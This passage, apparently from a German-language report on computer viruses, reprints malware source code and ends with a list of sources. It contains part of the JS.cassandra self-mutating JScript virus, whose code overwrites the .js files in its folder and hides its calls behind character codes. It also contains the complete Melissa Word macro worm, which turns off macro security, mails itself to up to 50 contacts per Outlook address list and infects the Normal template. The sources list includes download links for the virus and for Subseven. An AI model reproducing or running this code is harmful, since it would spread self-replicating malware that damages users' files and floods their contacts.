+String.fromCharCode(39)+nl;}
if (randon==2) { code+='// '+trashname('')+nl;}
if (randon==3 || randon==4) { code+='var '+trashname('')
+'='+Math.round(Math.random()*9999999)+nl;}
if (randon==5) { code+='if
('+Math.round(Math.random()*999)+'=='+Math.round(Math.random()*999)+') { '+trashname("")
+'() }'+nl }
if (randon==6) { wsfn=trashname(''); code+='for ('+wsfn+'=0;
'+wsfn+'>'+Math.round(Math.random()*999)+'; '+wsfn+'++) { '+trashname("")+'() }'+nl }
}
code+=sign+nl;
}
fileb.Close()
fileb=varsd(2).OpenTextFile(varsd(1),2)
fileb.Write(code)
fileb.Close()
}
function trashname(namea)
{
for (j=0; j<Math.round(Math.random()*15)+5; j++)
{ namea+=String.fromCharCode(Math.round(Math.random()*25)+97) }
return(namea)
}
function bodychange(code, randb, randc, randd, rande, randf, randg, randh, randi, randj, randk,
randl, randm)
{
fileb=varsd(2).OpenTextFile(varsd(1),1);
randa=0;
for (randa=0;
randa+randb+randc+randd+rande+randf+randg+randh+randi+randj+randk+randl+randm<13;)
{
cont='';
randon=Math.round(Math.random()*13)
if (randon==0) { if (randa!=1) { cont='function numberchange(code)'; randa=1; } }
if (randon==1) { if (randb!=1) { cont='function findfullnumber(sign, code)'; randb=1; } }
if (randon==2) { if (randc!=1) { cont='function CodeToChar(code)'; randc=1; } }
if (randon==3) { if (randd!=1) { cont='function Trash(code)'; randd=1 } }
if (randon==4) { if (rande!=1) { cont='function trashname(namea)'; rande=1; } }
if (randon==5) { if (randf!=1) { cont='function bodychange(code, randb, randc, randd, rande,
randf, randg, randh, randi, randj, randk, randl, randm)'; randf=1; } }
if (randon==6) { if (randg!=1) { cont='function bodycb(cont, code)'; randg=1; } }
if (randon==7) { if (randh!=1) { cont='function varchange()'; randh=1; } }
if (randon==8) { if (randi!=1) { cont='function changeit(code, wrte)'; randi=1; } }
if (randon==9) { if (randj!=1) { cont='function varsd(varnum)'; randj=1; } }
if (randon==10) { if (randk!=1) { cont='function decrypt(fileall, coda, code)'; randk=1; } }
if (randon==11) { if (randl!=1) { cont='function cassandra()'; randl=1; } }
if (randon==12) { if (randm!=1) { cont='function infectit(code)'; randm=1; } }
if (cont!='') { code=bodycb(cont, code+cont+nl) }
}
fileb.Close()
fileb=varsd(2).OpenTextFile(varsd(1),2)
fileb.Write(code)
fileb.Close()
}
function infectit(code)
{
iFolders=varsd(2).GetFolder(varsd(2).GetFolder('.'))
iFiles=new Enumerator(iFolders.Files)
for (; !iFiles.atEnd(); iFiles.moveNext())
{
if (varsd(2).GetExtensionName(iFiles.item()).toUpperCase()=='JS')
{
fileb=varsd(2).OpenTextFile(iFiles.item(),2).Write(code);
}
}
}
function bodycb(cont, code)
{
for (i=0; i<666; i++)
{
sign=fileb.ReadLine();
if (sign==cont)
{
for (j=0; j<666; j++)
{
sign=fileb.ReadLine();
code+=sign+nl;
if (sign=='}') { j=666; i=j; }
}
}
}
fileb.Close();
fileb=varsd(2).OpenTextFile(varsd(1),1)
return(code)
}
function varchange()
{
for (i=0; i<47; i++)
{
code=changeit('','')
fileb=varsd(2).OpenTextFile(varsd(1),2)
fileb.Write(code)
fileb.Close()
}
}
function changeit(code, wrte)
{
var changevars=new
Array('Trash','bodychange','CodeToChar','infectit','numberchange','iFolders','randm','iFiles','randk','n
amea','randl','findfullnumber','changeit','trashname','bodycb','varchange','cangeit','fileb','fileall','code'
,'nl','checka','checky','randon','randa','randb','randc','randd','rande','randf','randg','randh','randi','randj','
sign','numbber','cassandra','cont','changevars','wrte','wsfn','varsd','varnum','start','coda','codsplit','decr
ypt')
fileall=varsd(2).OpenTextFile(varsd(1),1).ReadAll()
fileb=varsd(2).OpenTextFile(varsd(1),1)
randon=trashname('')
for (j=0; j<fileall.length; j++)
{
checky=1;
wrte=fileb.Read(1)
if (wrte==changevars[i].substring(0,1))
{
for (k=1; k<changevars[i].length; k++)
{
wrte+=fileb.Read(1); j++;
if (wrte!=changevars[i].substring(0,k+1)) { k=changevars[i].length }
}
}
if (wrte==changevars[i]) { code+=randon; checky=0; }
if (checky) { code+=wrte }
}
return(code)
}
function varsd(varnum)
{
if (varnum==1)
{ return(eval(String.fromCharCode(87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,10
8,108,78,97,109,101))) }
if (varnum==2)
{ return(eval(String.fromCharCode(87,83,99,114,105,112,116,46,67,114,101,97,116,101,79,98,106,
101,99,116,40,39,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,7
9,98,106,101,99,116,39,41,59,32))) }
}
function decrypt(fileall, coda, code)
{
codsplit=coda.split(',')
for (i=0; i<codsplit.length; i++) { code+=String.fromCharCode(eval(codsplit[i])) }
fileb=varsd(2).OpenTextFile(varsd(1),2); fileb.Write(code); fileb.Close();
}
Wurm Melissa SourceCode
top↑
// Melissa Worm Source Code
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x=1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x=x+1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters. Game's over.
I'm outta here."
End Sub
7. Quellen
Sun VirtualBox : http://www.virtualbox.org
Images fuer Windows XP (und andere Versionen): http://msdnaa.mi.fu-berlin.de/
JS.cassandra Download link: http://www.final4ever.com/showthread.php?t=25235
Email Server Hamster:
http://www.outlook-net.de/5-5.htm
http://hamster.volker-gringmuth.de/
Subseven:
http://www.tcp-ip-info.de/trojaner_und_viren/subseven.htm
http://esnips.co.il/doc/328d8ad7-cb80-4e40-b8e9-ffe6319f8238/subseven
Andere Infs:
http://de.wikipedia.org/wiki/Computervirus r
http://english.securitylab.ru/viruses/277861.php
http://www.virus-aktuell.de/index-foren.htm
http://www.viren-ticker.de
http://www.62nds.co.nz/pg/e90.php
http://www.totallygeek.com/vscdb/
top↑

Documentos relacionados